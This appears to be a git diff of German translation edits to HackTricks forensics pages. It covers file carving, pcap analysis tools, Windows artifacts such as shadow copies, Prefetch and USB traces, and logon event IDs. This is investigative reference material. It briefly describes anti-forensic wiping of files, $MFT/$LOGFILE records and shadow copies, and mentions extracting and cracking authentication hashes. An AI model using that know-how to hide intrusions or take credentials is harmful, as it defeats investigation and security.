- Verwendete MS Office-Version
- Autor
- Erstellungs- und Änderungsdaten
- Erstellungs- und letztes Änderungsdatum
- Modell der Kamera
- GPS-Koordinaten
- Bildinformationen
@ -189,7 +189,7 @@ Sie können Tools wie [**exiftool**](https://exiftool.org) und [**Metadiver**](h
### Protokollierte gelöschte Dateien
Wie bereits gesehen, gibt es mehrere Stellen, an denen die Datei nach ihrer "Löschung" weiterhin gespeichert ist. Dies liegt daran, dass die Löschung einer Datei aus einem Dateisystem normalerweise nur als gelöscht markiert wird, die Daten jedoch nicht berührt werden. Daher ist es möglich, die Register der Dateien (wie die MFT) zu inspizieren und die gelöschten Dateien zu finden.
Wie bereits gesehen, gibt es mehrere Stellen, an denen die Datei nach ihrer "Löschung" weiterhin gespeichert ist. Dies liegt daran, dass die Löschung einer Datei aus einem Dateisystem in der Regel nur als gelöscht markiert wird, die Daten jedoch nicht berührt werden. Daher ist es möglich, die Register der Dateien (wie die MFT) zu inspizieren und die gelöschten Dateien zu finden.
Außerdem speichert das Betriebssystem normalerweise viele Informationen über Änderungen am Dateisystem und Backups, sodass es möglich ist, zu versuchen, diese zu verwenden, um die Datei oder so viele Informationen wie möglich wiederherzustellen.
@ -197,22 +197,22 @@ Außerdem speichert das Betriebssystem normalerweise viele Informationen über
file-data-carving-recovery-tools.md
{{#endref}}
### **File Carving**
### **Dateicarving**
**File Carving** ist eine Technik, die versucht, **Dateien im Datenbulk zu finden**. Es gibt 3 Hauptmethoden, wie solche Tools funktionieren: **Basierend auf Dateitypen-Headern und -Fußzeilen**, basierend auf Dateitypen-**Strukturen** und basierend auf dem **Inhalt** selbst.
**Dateicarving** ist eine Technik, die versucht, **Dateien im Datenbulk zu finden**. Es gibt 3 Hauptmethoden, wie solche Tools funktionieren: **Basierend auf Dateitypen-Headern und -Fußzeilen**, basierend auf Dateitypen-**Strukturen** und basierend auf dem **Inhalt** selbst.
Beachten Sie, dass diese Technik **nicht funktioniert, um fragmentierte Dateien wiederherzustellen**. Wenn eine Datei **nicht in zusammenhängenden Sektoren gespeichert ist**, kann diese Technik sie oder zumindest einen Teil davon nicht finden.
Es gibt mehrere Tools, die Sie für File Carving verwenden können, um die Dateitypen anzugeben, nach denen Sie suchen möchten.
Es gibt mehrere Tools, die Sie für das Dateicarving verwenden können, indem Sie die Dateitypen angeben, nach denen Sie suchen möchten.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### Datenstrom **C**arving
### Datenstrom-C**arving**
Datenstrom-Carving ähnelt dem File Carving, sucht jedoch **anstatt nach vollständigen Dateien nach interessanten Fragmenten** von Informationen.\
Zum Beispiel sucht diese Technik anstelle einer vollständigen Datei, die protokollierte URLs enthält, nach URLs.
Datenstrom-Carving ähnelt dem Dateicarving, sucht jedoch **anstatt nach vollständigen Dateien nach interessanten Fragmenten** von Informationen.\
Zum Beispiel sucht diese Technik nicht nach einer vollständigen Datei mit protokollierten URLs, sondern nach URLs.
{{#ref}}
file-data-carving-recovery-tools.md
@ -220,7 +220,7 @@ file-data-carving-recovery-tools.md
### Sichere Löschung
Offensichtlich gibt es Möglichkeiten, Dateien und Teile von Protokollen über sie **"sicher" zu löschen**. Zum Beispiel ist es möglich, den Inhalt einer Datei mehrmals mit Junk-Daten zu **überschreiben** und dann die **Protokolle** aus der **$MFT** und **$LOGFILE** über die Datei zu **entfernen** und die **Volume Shadow Copies** zu **entfernen**.\
Offensichtlich gibt es Möglichkeiten, **Dateien und Teile von Protokollen über sie "sicher" zu löschen**. Zum Beispiel ist es möglich, den Inhalt einer Datei mehrmals mit Junk-Daten zu **überschreiben** und dann die **Protokolle** aus der **$MFT** und **$LOGFILE** über die Datei zu **entfernen** und die **Volume Shadow Copies** zu **entfernen**.\
Sie werden feststellen, dass selbst bei dieser Aktion möglicherweise **andere Teile, in denen die Existenz der Datei weiterhin protokolliert ist**, vorhanden sind, und das ist wahr, und Teil der Arbeit eines forensischen Fachmanns besteht darin, sie zu finden.
## Referenzen

View File

@ -2,14 +2,14 @@
{{#include ../../../banners/hacktricks-training.md}}
> [!NOTE]
> [!TIP]
> Eine Anmerkung zu **PCAP** vs **PCAPNG**: Es gibt zwei Versionen des PCAP-Dateiformats; **PCAPNG ist neuer und wird nicht von allen Tools unterstützt**. Möglicherweise müssen Sie eine Datei von PCAPNG in PCAP mit Wireshark oder einem anderen kompatiblen Tool konvertieren, um sie in einigen anderen Tools verwenden zu können.
## Online-Tools für pcaps
- Wenn der Header Ihres pcaps **beschädigt** ist, sollten Sie versuchen, ihn mit: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) zu **reparieren**.
- **Informationen** extrahieren und nach **Malware** in einem pcap in [**PacketTotal**](https://packettotal.com) suchen.
- Nach **bösartiger Aktivität** suchen mit [**www.virustotal.com**](https://www.virustotal.com) und [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com).
- Wenn der Header Ihres pcaps **beschädigt** ist, sollten Sie versuchen, ihn mit [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) zu **reparieren**.
- Extrahieren Sie **Informationen** und suchen Sie nach **Malware** in einem pcap in [**PacketTotal**](https://packettotal.com).
- Suchen Sie nach **bösartiger Aktivität** mit [**www.virustotal.com**](https://www.virustotal.com) und [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com).
- **Vollständige pcap-Analyse aus dem Browser in** [**https://apackets.com/**](https://apackets.com/).
## Informationen extrahieren
@ -18,7 +18,7 @@ Die folgenden Tools sind nützlich, um Statistiken, Dateien usw. zu extrahieren.
### Wireshark
> [!NOTE]
> [!TIP]
> **Wenn Sie ein PCAP analysieren möchten, müssen Sie im Grunde wissen, wie man Wireshark verwendet.**
Sie finden einige Wireshark-Tricks in:
@ -33,7 +33,7 @@ Pcap-Analyse aus dem Browser.
### Xplico Framework
[**Xplico** ](https://github.com/xplico/xplico)_(nur Linux)_ kann **ein** **pcap** **analysieren** und Informationen daraus extrahieren. Zum Beispiel extrahiert Xplico aus einer pcap-Datei jede E-Mail (POP, IMAP und SMTP-Protokolle), alle HTTP-Inhalte, jeden VoIP-Anruf (SIP), FTP, TFTP usw.
[**Xplico** ](https://github.com/xplico/xplico)_(nur Linux)_ kann **ein pcap analysieren** und Informationen daraus extrahieren. Zum Beispiel extrahiert Xplico aus einer pcap-Datei jede E-Mail (POP, IMAP und SMTP-Protokolle), alle HTTP-Inhalte, jeden VoIP-Anruf (SIP), FTP, TFTP usw.
**Installieren**
```bash
@ -53,7 +53,7 @@ Erstellen Sie dann einen **neuen Fall**, erstellen Sie eine **neue Sitzung** inn
### NetworkMiner
Wie Xplico ist es ein Tool zur **Analyse und Extraktion von Objekten aus pcaps**. Es hat eine kostenlose Edition, die Sie **hier** [**herunterladen**](https://www.netresec.com/?page=NetworkMiner) können. Es funktioniert mit **Windows**.\
Wie Xplico ist es ein Tool, um **pcaps zu analysieren und Objekte zu extrahieren**. Es hat eine kostenlose Edition, die Sie **hier** [**herunterladen**](https://www.netresec.com/?page=NetworkMiner) können. Es funktioniert mit **Windows**.\
Dieses Tool ist auch nützlich, um **andere Informationen aus den Paketen zu analysieren**, um schneller zu verstehen, was passiert ist.
### NetWitness Investigator
@ -67,7 +67,7 @@ Dies ist ein weiteres nützliches Tool, das **die Pakete analysiert** und die In
- Authentifizierungshashes extrahieren und mit Hashcat knacken (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
- Erstellen eines visuellen Netzwerkdiagramms (Netzwerkknoten & Benutzer)
- DNS-Abfragen extrahieren
- Alle TCP- und UDP-Sitzungen rekonstruieren
- Alle TCP- & UDP-Sitzungen rekonstruieren
- File Carving
### Capinfos
@ -96,7 +96,7 @@ Sie können Tools wie [https://github.com/lgandx/PCredz](https://github.com/lgan
### Suricata
**Installieren und einrichten**
**Install and setup**
```
apt-get install suricata
apt-get install oinkmaster
@ -111,11 +111,11 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) ist ein Tool, das
- eine PCAP-Datei liest und Http-Streams extrahiert.
- gzip komprimierte Streams entpackt
- jede Datei mit yara scannt
- einen report.txt schreibt
- optional übereinstimmende Dateien in ein Verzeichnis speichert
- Eine PCAP-Datei liest und Http-Streams extrahiert.
- gzip komprimierte Streams dekomprimiert
- Jede Datei mit yara scannt
- Einen report.txt schreibt
- Optional übereinstimmende Dateien in ein Verzeichnis speichert
### Malware-Analyse
@ -127,9 +127,9 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html) ist ein passiver, Open-Source-Netzwerkverkehrsanalysator. Viele Betreiber verwenden Zeek als Netzwerk-Sicherheitsmonitor (NSM), um Untersuchungen zu verdächtigen oder bösartigen Aktivitäten zu unterstützen. Zeek unterstützt auch eine Vielzahl von Verkehrsanalysaufgaben über den Sicherheitsbereich hinaus, einschließlich Leistungsbewertung und Fehlersuche.
> [Zeek](https://docs.zeek.org/en/master/about.html) ist ein passiver, Open-Source-Netzwerkverkehrsanalysator. Viele Betreiber verwenden Zeek als Network Security Monitor (NSM), um Untersuchungen zu verdächtigen oder bösartigen Aktivitäten zu unterstützen. Zeek unterstützt auch eine Vielzahl von Verkehrsanalysaufgaben über den Sicherheitsbereich hinaus, einschließlich Leistungsbewertung und Fehlersuche.
Im Grunde genommen sind die von `zeek` erstellten Protokolle keine **pcaps**. Daher müssen Sie **andere Tools** verwenden, um die Protokolle zu analysieren, in denen die **Informationen** über die pcaps enthalten sind.
Grundsätzlich sind die von `zeek` erstellten Protokolle keine **pcaps**. Daher müssen Sie **andere Tools** verwenden, um die Protokolle zu analysieren, in denen die **Informationen** über die pcaps enthalten sind.
### Verbindungsinformationen
```bash
@ -200,14 +200,17 @@ rita show-exploded-dns -H --limit 10 zeek_logs
```
## Andere pcap-Analyse-Tricks
{{#ref}}
dnscat-exfiltration.md
{{#endref}}
{{#ref}}
wifi-pcap-analysis.md
{{#endref}}
{{#ref}}
usb-keystrokes.md
{{#endref}}

View File

@ -1,39 +1,50 @@
# Spezifische Software-/Dateityp-Tricks
{{#include ../../../banners/hacktricks-training.md}}
Hier finden Sie interessante Tricks für spezifische Dateitypen und/oder Software:
{{#ref}}
.pyc.md
{{#endref}}
{{#ref}}
browser-artifacts.md
{{#endref}}
{{#ref}}
desofuscation-vbs-cscript.exe.md
{{#endref}}
{{#ref}}
local-cloud-storage.md
{{#endref}}
{{#ref}}
office-file-analysis.md
{{#endref}}
{{#ref}}
pdf-file-analysis.md
{{#endref}}
{{#ref}}
png-tricks.md
{{#endref}}
{{#ref}}
video-and-audio-file-analysis.md
{{#endref}}
{{#ref}}
zips-tricks.md
{{#endref}}

View File

@ -42,15 +42,15 @@ Mit diesen Dateien können Sie das Tool [**Rifiuti**](https://github.com/abelche
Shadow Copy ist eine Technologie, die in Microsoft Windows enthalten ist und **Sicherungs kopien** oder Schnappschüsse von Computerdateien oder -volumes erstellen kann, selbst wenn sie verwendet werden.
Diese Sicherungen befinden sich normalerweise im `\System Volume Information` im Stammverzeichnis des Dateisystems, und der Name besteht aus **UIDs**, die im folgenden Bild angezeigt werden:
Diese Sicherungen befinden sich normalerweise im `\System Volume Information` im Wurzelverzeichnis des Dateisystems, und der Name besteht aus **UIDs**, die im folgenden Bild angezeigt werden:
![](<../../../images/image (94).png>)
Durch das Einbinden des forensischen Images mit dem **ArsenalImageMounter** kann das Tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) verwendet werden, um eine Schattenkopie zu inspizieren und sogar **die Dateien** aus den Schattenkopien zu extrahieren.
Durch das Einbinden des forensischen Images mit dem **ArsenalImageMounter** kann das Tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) verwendet werden, um eine Schattenkopie zu inspizieren und sogar **die Dateien** aus den Schattenkopie-Sicherungen **extrahieren**.
![](<../../../images/image (576).png>)
Der Registrierungseintrag `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` enthält die Dateien und Schlüssel **die nicht gesichert werden sollen**:
Der Registrierungseintrag `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` enthält die Dateien und Schlüssel, **die nicht gesichert** werden sollen:
![](<../../../images/image (254).png>)
@ -71,7 +71,7 @@ Windows **erstellt automatisch** diese **Verknüpfungen**, wenn der Benutzer **e
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Wenn ein Ordner erstellt wird, wird auch ein Link zu dem Ordner, dem übergeordneten Ordner und dem Großelternordner erstellt.
Wenn ein Ordner erstellt wird, wird auch ein Link zu dem Ordner, zum übergeordneten Ordner und zum Großelternordner erstellt.
Diese automatisch erstellten Linkdateien **enthalten Informationen über den Ursprung**, wie ob es sich um eine **Datei** **oder** einen **Ordner** handelt, **MAC** **Zeiten** dieser Datei, **Volumeninformationen**, wo die Datei gespeichert ist, und **Ordner der Zieldatei**. Diese Informationen können nützlich sein, um diese Dateien wiederherzustellen, falls sie entfernt wurden.
@ -126,7 +126,7 @@ Es ist möglich zu identifizieren, dass ein USB-Gerät verwendet wurde, dank der
- Microsoft Office Recent Folder
- Jumplists
Beachten Sie, dass einige LNK-Dateien anstelle des ursprünglichen Pfads auf den WPDNSE-Ordner verweisen:
Beachten Sie, dass einige LNK-Dateien anstelle des ursprünglichen Pfades auf den WPDNSE-Ordner verweisen:
![](<../../../images/image (218).png>)
@ -140,11 +140,11 @@ Die Dateien im WPDNSE-Ordner sind eine Kopie der ursprünglichen, überstehen al
Überprüfen Sie die Datei `C:\Windows\inf\setupapi.dev.log`, um die Zeitstempel zu erhalten, wann die USB-Verbindung hergestellt wurde (suchen Sie nach `Section start`).
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
### USB Detective
[**USBDetective**](https://usbdetective.com) kann verwendet werden, um Informationen über die USB-Geräte zu erhalten, die mit einem Bild verbunden wurden.
[**USBDetective**](https://usbdetective.com) kann verwendet werden, um Informationen über die USB-Geräte zu erhalten, die mit einem Bild verbunden waren.
![](<../../../images/image (452).png>)
@ -162,9 +162,9 @@ Ein Screenshot, der den Inhalt der Aufgabe zeigt, ist bereitgestellt: ![](https:
- **UseUnifiedSchedulingEngine**: Auf `TRUE` gesetzt, was die Verwendung der generischen Aufgabenplanung anzeigt.
- **MaintenanceSettings**:
- **Period ('P1M')**: Weist den Task Scheduler an, die Bereinigungsaufgabe monatlich während der regulären automatischen Wartung zu starten.
- **Deadline ('P2M')**: Weist den Task Scheduler an, die Aufgabe während der Notfallautomatik-Wartung auszuführen, wenn die Aufgabe zwei Monate hintereinander fehlschlägt.
- **Deadline ('P2M')**: Weist den Task Scheduler an, falls die Aufgabe zwei aufeinanderfolgende Monate fehlschlägt, die Aufgabe während der Notfallautomatik-Wartung auszuführen.
Diese Konfiguration stellt eine regelmäßige Wartung und Bereinigung der Treiber sicher, mit Bestimmungen für einen erneuten Versuch der Aufgabe im Falle aufeinanderfolgender Fehler.
Diese Konfiguration stellt regelmäßige Wartung und Bereinigung der Treiber sicher, mit Bestimmungen für einen erneuten Versuch der Aufgabe im Falle aufeinanderfolgender Fehler.
**Für weitere Informationen siehe:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
@ -181,11 +181,11 @@ Außerdem finden Sie in den Headern `References` und `In-Reply-To` die ID der Na
### Windows Mail App
Diese Anwendung speichert E-Mails in HTML oder Text. Sie finden die E-Mails in Unterordnern unter `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Die E-Mails werden mit der Erweiterung `.dat` gespeichert.
Diese Anwendung speichert E-Mails in HTML oder Text. Sie finden die E-Mails in Unterordnern innerhalb von `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Die E-Mails werden mit der Erweiterung `.dat` gespeichert.
Die **Metadaten** der E-Mails und die **Kontakte** können in der **EDB-Datenbank** gefunden werden: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Ändern Sie die Erweiterung** der Datei von `.vol` in `.edb`, und Sie können das Tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) verwenden, um es zu öffnen. In der `Message`-Tabelle können Sie die E-Mails sehen.
**Ändern Sie die Erweiterung** der Datei von `.vol` zu `.edb` und Sie können das Tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) verwenden, um es zu öffnen. In der `Message`-Tabelle können Sie die E-Mails sehen.
### Microsoft Outlook
@ -196,7 +196,7 @@ Wenn Exchange-Server oder Outlook-Clients verwendet werden, gibt es einige MAPI-
- `Mapi-Entry-ID`: Nachrichtenidentifikator.
- `Mappi-Message-Flags` und `Pr_last_Verb-Executed`: Informationen über den MAPI-Client (Nachricht gelesen? nicht gelesen? geantwortet? umgeleitet? nicht im Büro?)
Im Microsoft Outlook-Client werden alle gesendeten/empfangenen Nachrichten, Kontaktdaten und Kalenderdaten in einer PST-Datei gespeichert unter:
Im Microsoft Outlook-Client werden alle gesendeten/empfangenen Nachrichten, Kontaktdaten und Kalenderdaten in einer PST-Datei gespeichert in:
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
@ -209,7 +209,7 @@ Sie können die PST-Datei mit dem Tool [**Kernel PST Viewer**](https://www.nucle
### Microsoft Outlook OST-Dateien
Eine **OST-Datei** wird von Microsoft Outlook erstellt, wenn es mit **IMAP** oder einem **Exchange**-Server konfiguriert ist und ähnliche Informationen wie eine PST-Datei speichert. Diese Datei wird mit dem Server synchronisiert und behält Daten für **die letzten 12 Monate** bis zu einer **maximalen Größe von 50 GB** und befindet sich im selben Verzeichnis wie die PST-Datei. Um eine OST-Datei anzuzeigen, kann der [**Kernel OST Viewer**](https://www.nucleustechnologies.com/ost-viewer.html) verwendet werden.
Eine **OST-Datei** wird von Microsoft Outlook erstellt, wenn es mit **IMAP** oder einem **Exchange**-Server konfiguriert ist und speichert ähnliche Informationen wie eine PST-Datei. Diese Datei wird mit dem Server synchronisiert und behält Daten für **die letzten 12 Monate** bis zu einer **maximalen Größe von 50 GB** und befindet sich im selben Verzeichnis wie die PST-Datei. Um eine OST-Datei anzuzeigen, kann der [**Kernel OST Viewer**](https://www.nucleustechnologies.com/ost-viewer.html) verwendet werden.
### Wiederherstellung von Anhängen
@ -220,7 +220,7 @@ Verlorene Anhänge könnten wiederhergestellt werden aus:
### Thunderbird MBOX-Dateien
**Thunderbird** verwendet **MBOX-Dateien**, um Daten zu speichern, die sich unter `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` befinden.
**Thunderbird** verwendet **MBOX-Dateien**, um Daten zu speichern, die sich in `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` befinden.
### Bildvorschauen
@ -237,18 +237,18 @@ Die Windows-Registrierung, die umfangreiche System- und Benutzeraktivitätsdaten
- Windows Vista und spätere Versionen sichern `HKEY_LOCAL_MACHINE`-Registrierungsdateien in `%Windir%\System32\Config\RegBack\`.
- Darüber hinaus werden Informationen zur Programmausführung in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` ab Windows Vista und Windows 2008 Server gespeichert.
### Tools
### Werkzeuge
Einige Tools sind nützlich, um die Registrierungsdateien zu analysieren:
Einige Werkzeuge sind nützlich, um die Registrierungsdateien zu analysieren:
- **Registrierungs-Editor**: Er ist in Windows installiert. Es ist eine GUI, um durch die Windows-Registrierung der aktuellen Sitzung zu navigieren.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Es ermöglicht Ihnen, die Registrierungsdatei zu laden und durch sie mit einer GUI zu navigieren. Es enthält auch Lesezeichen, die Schlüssel mit interessanten Informationen hervorheben.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Es hat ebenfalls eine GUI, die es ermöglicht, durch die geladene Registrierung zu navigieren und enthält auch Plugins, die interessante Informationen innerhalb der geladenen Registrierung hervorheben.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Auch hier gibt es eine GUI, die es ermöglicht, durch die geladene Registrierung zu navigieren und Plugins enthält, die interessante Informationen innerhalb der geladenen Registrierung hervorheben.
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Eine weitere GUI-Anwendung, die in der Lage ist, wichtige Informationen aus der geladenen Registrierung zu extrahieren.
### Wiederherstellung gelöschter Elemente
Wenn ein Schlüssel gelöscht wird, wird er als solcher markiert, aber bis der Platz, den er einnimmt, benötigt wird, wird er nicht entfernt. Daher ist es möglich, mit Tools wie **Registry Explorer** diese gelöschten Schlüssel wiederherzustellen.
Wenn ein Schlüssel gelöscht wird, wird er als solcher markiert, aber bis der Platz, den er einnimmt, benötigt wird, wird er nicht entfernt. Daher ist es mit Tools wie **Registry Explorer** möglich, diese gelöschten Schlüssel wiederherzustellen.
### Letzte Schreibzeit
@ -274,11 +274,11 @@ In [diesem Beitrag](https://jonahacks.medium.com/investigating-common-windows-pr
### Windows Recent APPs
Im Registrierungs-`NTUSER.DAT` unter dem Pfad `Software\Microsoft\Current Version\Search\RecentApps` finden Sie Unterschlüssel mit Informationen über die **ausgeführte Anwendung**, **letzte Ausführungszeit** und **Anzahl der Starts**.
Innerhalb der Registrierung `NTUSER.DAT` im Pfad `Software\Microsoft\Current Version\Search\RecentApps` finden Sie Unterschlüssel mit Informationen über die **ausgeführte Anwendung**, **letzte Ausführungszeit** und **Anzahl der Starts**.
### BAM (Background Activity Moderator)
Sie können die `SYSTEM`-Datei mit einem Registrierungseditor öffnen, und im Pfad `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` finden Sie Informationen über die **von jedem Benutzer ausgeführten Anwendungen** (beachten Sie das `{SID}` im Pfad) und **zu welcher Zeit** sie ausgeführt wurden (die Zeit befindet sich im Datenwert der Registrierung).
Sie können die Datei `SYSTEM` mit einem Registrierungseditor öffnen und im Pfad `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` finden Sie Informationen über die **von jedem Benutzer ausgeführten Anwendungen** (beachten Sie das `{SID}` im Pfad) und **zu welcher Zeit** sie ausgeführt wurden (die Zeit befindet sich im Datenwert der Registrierung).
### Windows Prefetch
@ -301,7 +301,7 @@ Um diese Dateien zu inspizieren, können Sie das Tool [**PEcmd.exe**](https://gi
**Superprefetch** hat dasselbe Ziel wie Prefetch, **Programme schneller zu laden**, indem vorhergesagt wird, was als Nächstes geladen wird. Es ersetzt jedoch nicht den Prefetch-Dienst.\
Dieser Dienst generiert Datenbankdateien in `C:\Windows\Prefetch\Ag*.db`.
In diesen Datenbanken finden Sie den **Namen** des **Programms**, die **Anzahl** der **Ausführungen**, die **geöffneten** **Dateien**, das **zugreifende** **Volume**, den **kompletten** **Pfad**, **Zeitrahmen** und **Zeitstempel**.
In diesen Datenbanken finden Sie den **Namen** des **Programms**, die **Anzahl** der **Ausführungen**, die **geöffneten** **Dateien**, das **zugreifende** **Volumen**, den **kompletten** **Pfad**, **Zeitrahmen** und **Zeitstempel**.
Sie können auf diese Informationen mit dem Tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) zugreifen.
@ -335,7 +335,7 @@ Der **AppCompatCache**, auch bekannt als **ShimCache**, ist Teil der **Applicati
- Letzte Aktualisierungszeit des ShimCache
- Prozessausführungsflag
Solche Daten werden im Registrierungseditor an bestimmten Orten basierend auf der Version des Betriebssystems gespeichert:
Solche Daten werden in der Registrierung an bestimmten Orten basierend auf der Version des Betriebssystems gespeichert:
- Für XP werden die Daten unter `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` mit einer Kapazität von 96 Einträgen gespeichert.
- Für Server 2003 sowie für Windows-Versionen 2008, 2012, 2016, 7, 8 und 10 ist der Speicherpfad `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, der 512 bzw. 1024 Einträge aufnehmen kann.
@ -346,7 +346,7 @@ Um die gespeicherten Informationen zu analysieren, wird das [**AppCompatCachePar
### Amcache
Die **Amcache.hve**-Datei ist im Wesentlichen ein Registrierungs-Hive, der Details über Anwendungen protokolliert, die auf einem System ausgeführt wurden. Sie befindet sich typischerweise unter `C:\Windows\AppCompat\Programas\Amcache.hve`.
Die **Amcache.hve**-Datei ist im Wesentlichen ein Registrierungshive, der Details über Anwendungen protokolliert, die auf einem System ausgeführt wurden. Sie befindet sich typischerweise unter `C:\Windows\AppCompat\Programas\Amcache.hve`.
Diese Datei ist bemerkenswert, da sie Aufzeichnungen über kürzlich ausgeführte Prozesse speichert, einschließlich der Pfade zu den ausführbaren Dateien und deren SHA1-Hashes. Diese Informationen sind von unschätzbarem Wert, um die Aktivität von Anwendungen auf einem System zu verfolgen.
@ -374,7 +374,7 @@ Sie finden sie in der Registrierung unter `SYSTEM\ControlSet001\Services`. Sie k
### **Windows Store**
Die installierten Anwendungen finden Sie unter `\ProgramData\Microsoft\Windows\AppRepository\`\
Die installierten Anwendungen finden Sie in `\ProgramData\Microsoft\Windows\AppRepository\`\
Dieses Repository hat ein **Log** mit **jeder installierten Anwendung** im System innerhalb der Datenbank **`StateRepository-Machine.srd`**.
In der Anwendungstabelle dieser Datenbank ist es möglich, die Spalten: "Application ID", "PackageNumber" und "Display Name" zu finden. Diese Spalten enthalten Informationen über vorinstallierte und installierte Anwendungen und es kann festgestellt werden, ob einige Anwendungen deinstalliert wurden, da die IDs der installierten Anwendungen sequenziell sein sollten.
@ -407,7 +407,7 @@ Zugriffsereignisse werden in der Sicherheitskonfigurationsdatei aufgezeichnet, d
- **EventID 4624**: Zeigt an, dass sich ein Benutzer erfolgreich authentifiziert hat.
- **EventID 4625**: Signalisiert einen Authentifizierungsfehler.
- **EventIDs 4634/4647**: Stellen Benutzerabmeldeereignisse dar.
- **EventID 4672**: Bezeichnet die Anmeldung mit administrativen Rechten.
- **EventID 4672**: Bezeichnet eine Anmeldung mit administrativen Rechten.
#### Untertypen innerhalb von EventID 4634/4647:
@ -437,7 +437,7 @@ Zugriffsereignisse werden in der Sicherheitskonfigurationsdatei aufgezeichnet, d
- **0xC0000133**: Zeit-Synchronisationsprobleme - Große Zeitabweichungen zwischen Client und Server können auf ausgeklügeltere Angriffe wie Pass-the-Ticket hinweisen.
- **0xC0000224**: Pflichtänderung des Passworts erforderlich - Häufige verpflichtende Änderungen könnten auf einen Versuch hinweisen, die Kontosicherheit zu destabilisieren.
- **0xC0000225**: Zeigt einen Systemfehler an, nicht ein Sicherheitsproblem.
- **0xC000015b**: Verweigerter Anmeldetyp - Zugriffsversuch mit unbefugtem Anmeldetyp, z. B. ein Benutzer, der versucht, eine Dienstanmeldung auszuführen.
- **0xC000015b**: Verweigerter Anmeldetyp - Zugriffsversuch mit unbefugtem Anmeldetyp, z. B. ein Benutzer, der versucht, einen Dienstanmeldeversuch auszuführen.
#### EventID 4616:
@ -459,7 +459,7 @@ Zugriffsereignisse werden in der Sicherheitskonfigurationsdatei aufgezeichnet, d
Für praktische Beispiele zur Simulation dieser Anmeldetypen und Möglichkeiten zum Abrufen von Anmeldeinformationen siehe [Altered Securitys detaillierte Anleitung](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
Ereignisdetails, einschließlich Status- und Unterstatuscodes, bieten weitere Einblicke in die Ursachen von Ereignissen, insbesondere bemerkenswert in Event ID 4625.
Ereignisdetails, einschließlich Status- und Unterstatuscodes, bieten weitere Einblicke in die Ursachen von Ereignissen, insbesondere bemerkenswert bei Event ID 4625.
### Wiederherstellung von Windows-Ereignissen
@ -467,7 +467,7 @@ Um die Chancen auf die Wiederherstellung gelöschter Windows-Ereignisse zu erhö
### Identifizierung häufiger Angriffe über Windows-Ereignisse
Für eine umfassende Anleitung zur Nutzung von Windows-Ereignis-IDs zur Identifizierung häufiger Cyberangriffe besuchen Sie [Red Team Recipe](https://redteamrecipe.com/event-codes/).
Für einen umfassenden Leitfaden zur Nutzung von Windows-Ereignis-IDs zur Identifizierung häufiger Cyberangriffe besuchen Sie [Red Team Recipe](https://redteamrecipe.com/event-codes/).
#### Brute-Force-Angriffe
@ -487,6 +487,6 @@ EventID 6005 zeigt den Systemstart an, während EventID 6006 das Herunterfahren
#### Protokolllöschung
Sicherheits-EventID 1102 signalisiert die Löschung von Protokollen, ein kritisches Ereignis für die forensische Analyse.
Sicherheits-Ereignis-ID 1102 signalisiert die Löschung von Protokollen, ein kritisches Ereignis für die forensische Analyse.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,22 +1,22 @@
# External Recon Methodology
# Externe Recon-Methode
{{#include ../../banners/hacktricks-training.md}}
## Assets discoveries
## Entdeckung von Vermögenswerten
> Man hat Ihnen gesagt, dass alles, was zu einem Unternehmen gehört, im Geltungsbereich liegt, und Sie möchten herausfinden, was dieses Unternehmen tatsächlich besitzt.
